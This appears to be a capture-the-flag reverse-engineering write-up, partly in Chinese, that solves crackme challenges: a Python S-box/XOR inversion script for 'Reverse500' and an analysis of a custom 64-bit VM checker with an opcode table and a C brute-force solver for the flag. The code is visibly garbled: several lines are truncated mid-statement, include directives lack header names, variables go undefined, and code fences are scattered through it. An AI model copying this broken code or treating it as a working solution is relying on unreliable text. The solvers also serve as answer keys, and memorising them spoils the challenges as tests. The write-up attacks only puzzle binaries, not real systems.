sbox = [1, 3, 8, -55, 21, 27, 35, 67, -14, -111, -49, 89, 92, 109, 31, -112, 7, -74, 55, -15, -32, -1, -20, 83, 39, -103, -36, -116, -93, -50, -19, -128, 96, 46, 99, 26, -86, -46, -34, 105, -21, 0, -88, 68, 16, -42, 94, 5, 120, -53, -2, -109, 11, -121, -62, -6, 29, 112, -82, -79, -71, -37, 52, 119, 102, 60, 111, 87, -3, 41, -114, -43, 49, -118, 54, 44, -7, 100, 98, -16, 78, 116, 91, 23, 97, -58, -23, -75, -97, -81, 76, 6, 61, -119, 124, -54, 79, 57, 50, -113, 84, -107, 86, 4, -108, 40, -87, 34, -102, -18, -115, -57, -85, -77, 118, 103, 53, -98, -96, 37, -72, 2, -80, -35, -92, 122, -83, 18, -60, -68, 14, -64, 115, 108, 63, 81, 114, -69, 117, -39, -33, 36, -89, 125, 59, 65, -99, 101, 93, -105, 38, 43, 126, -126, 30, 75, 77, -45, 13, -76, -61, 104, 51, 85, 64, 127, -65, -48, 74, 123, -117, -95, -9, 33, 80, 56, -91, -26, -31, -73, 69, 48, -8, -22, -104, 113, -100, -38, -101, -4, -27, -17, -29, 17, 82, -25, -51, -127, -110, -122, 28, 12, -66, 66, -78, -24, -56, -11, 110, 107, 15, -84, -13, -125, -94, 121, 70, -12, 20, 106, -124, 71, 25, -120, -44, -10, 47, -106, 45, 95, 73, 32, 62, -90, -41, 58, 24, 19, -67, -123, 72, -28, 42, 10, -40, 90, -47, 22, -5, -30, -52, -59, -63, 9, -70, 88]

for i in xrange(len(sbox)):

sbox[i] = u8(sbox[i])

length = 0x17

for i in xrange(23):

result[i] = u8(result[i])

# step1

for i in xrange(23):
```

```
if i % 2 == 0:

result[i] = u8(result[i]-1)

else:

result[i] = u8(result[i]+1)

for i in xrange(23):

result[i] = u8(result[i] ^ 0x82)

for i in xrange(23):

result[i] = u8(result[i] -4)

t = []

for i in xrange(23):

t.append(sbox.index(result[i]))

xor_seed = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48,
```

```
for i in xrange(23):

t[i] = u8(t[i] ^ xor_seed[i])

print ''.join([chr(c) for c in t])

Reverse500(500)
```

这是一个64位VM的题,checker是main函数,mod1、mod2和mod3是三个子函数,先是加载程序,然后分配寄存器和栈的空间

下面是指令对应的操作

80mov reg, immediate

81xor reg1, reg2 | xor reg1, immediate

82 push reg

83pop reg

9Aje

9Bjmp

9Cjne

9Dcall

A5mov reg1, reg2+reg3

A6 mov reg1, [reg2]

A7mov reg1, cs+[cs+0x20]+immediate

B0mov [reg1], byte ptr [reg2]

B1mov reg1, [reg2] & immediate

B2mov reg1, [reg2] | immediate

B3mov reg1, [reg2] / immediate

C5cmp

C6ret

C7mov reg1, reg2

E0syscall

E1malloc

第一个子函数mod1是输入,然后在checker也就是main函数验证输入的长度是不是0x1D,通过后调用mod3函数对输入做了三次处理,先是以输入值的每个字符为索引到mod3_base_addr+0x600的位置查表替换,然后再跟mod3_base_addr+0x700处的四个值循环异或,之后把结果中每个值的高4位除以0x10之后再或0x30,低4位或0x30,最后与mod3_base_addr+0x730处的值比较,得到flag代码如下

#include

#include

int main() {

unsigned char table[256] = {

0x49, 0xB6, 0x2C, 0x2D, 0xAB, 0x8F, 0x36, 0x11, 0x32, 0xE7, 0x73, 0xF8,

0xF9, 0x4C, 0x26, 0xA3, 0x5B, 0xBB, 0xBC, 0xBD, 0xBE, 0x98, 0x99, 0x97,

0x9A, 0x9F, 0xA0, 0xDD, 0xE0, 0x74, 0x8A, 0x8B, 0x8C, 0xDE, 0xDF, 0x08,

0x62, 0xE5, 0xF1, 0xDB, 0x23, 0xF7, 0xA4, 0xCC, 0xCD, 0xC9, 0xC4, 0x75,

0xD6, 0xD3, 0x0C, 0x0D, 0x91, 0x1D, 0x1E, 0x0B, 0x14, 0xB2, 0x66, 0x67,

0x9D, 0x30, 0xEE, 0x53, 0x6B, 0x05, 0x6F, 0x70, 0x71, 0x76, 0x93, 0xEF,

0xF0, 0x51, 0x52, 0xC3, 0x58, 0xFA, 0xD8, 0x5F, 0x79, 0x7A, 0x7B, 0x7C,

0x7D, 0x7E, 0x7F, 0x00, 0x80, 0x0E, 0x0F, 0x10, 0xEC, 0xED, 0x35, 0x13,

0x21, 0xA2, 0x65, 0xB7, 0x4A, 0x57, 0xB5, 0x6D, 0x5C, 0x89, 0x5E, 0xAE,

0xAF, 0xB0, 0x12, 0xD5, 0x72, 0xC6, 0xD7, 0xE1, 0xA5, 0x46, 0x15, 0x16,

0x44, 0x43, 0xB4, 0x60, 0xE4, 0xC7, 0xC8, 0xBF, 0x85, 0x87, 0x09, 0x0A,

0x86, 0xC1, 0xAA, 0xC5, 0xC2, 0xD9, 0xDA, 0x94, 0x95, 0xD2, 0xFB, 0x1A,

0xFC, 0x19, 0x1B, 0xCB, 0x61, 0xE3, 0xCE, 0xCF, 0xD0, 0x3C, 0xF4, 0xF5,

0xE6, 0xD4, 0x68, 0x56, 0xAD, 0xCA, 0xD1, 0x96, 0x90, 0xB1, 0x22, 0xE8,

0xA6, 0x69, 0x83, 0x84, 0x31, 0xE9, 0x2A, 0x9E, 0xE2, 0x6A, 0x37, 0x2B,

```
0x33, 0x20, 0xAC, 0x54, 0x42, 0x45, 0x34, 0x81, 0x82, 0xEA, 0xEB, 0x38,
0x2E, 0x2F, 0x5A, 0x4E, 0x4F, 0x50, 0x1F, 0x8E, 0xF2, 0xF3, 0x3A, 0x3B,
0x07, 0x63, 0x5D, 0x9B, 0x24, 0x02, 0x04, 0x47, 0xB8, 0xB9, 0xBA, 0x6C,
0x48, 0x25, 0xC0, 0x92, 0x4B, 0x59, 0x77, 0x78, 0x4D, 0xA1, 0x39, 0x3D,
0x3E, 0x3F, 0x40, 0x41, 0x55, 0xB3, 0x01, 0xFD, 0xFE, 0xFF, 0x06, 0x03,
0x17, 0x18, 0xF6, 0x9C, 0x88, 0x64, 0x6E, 0x29, 0x8D, 0xDC, 0xA7, 0xA8,
0xA9, 0x27, 0x28, 0x1C
};
unsigned char final[58] = {
0x3D, 0x38, 0x31, 0x36, 0x30, 0x34, 0x31, 0x33, 0x3C, 0x34, 0x31, 0x3A,
0x37, 0x34, 0x3F, 0x30, 0x37, 0x33, 0x33, 0x31, 0x36, 0x34, 0x39, 0x33,
0x3F, 0x3C, 0x30, 0x3D, 0x36, 0x3B, 0x3E, 0x3D, 0x3E, 0x32, 0x36, 0x33,
0x31, 0x34, 0x38, 0x3D, 0x3B, 0x37, 0x3F, 0x37, 0x36, 0x3D, 0x39, 0x3E,
0x3A, 0x3F, 0x37, 0x35, 0x3A, 0x37, 0x35, 0x3E, 0x36, 0x33
};
unsigned char xor[4] = {
0xA4, 0x66, 0x79, 0x80
};
for (int j = 0; j
unsigned char i;
for (i = 32; i
unsigned char key = table[i] ^ xor[j % 4];
unsigned char high = ((key & 0xF0) / 0x10) | 0x30;
unsigned char low = (key & 0x0F) | 0x30;
if (high == final[j * 2] && low == final[j * 2 + 1]) {
printf("%c", i);
}
}
}
printf("n");
return 0;
```

```
}
```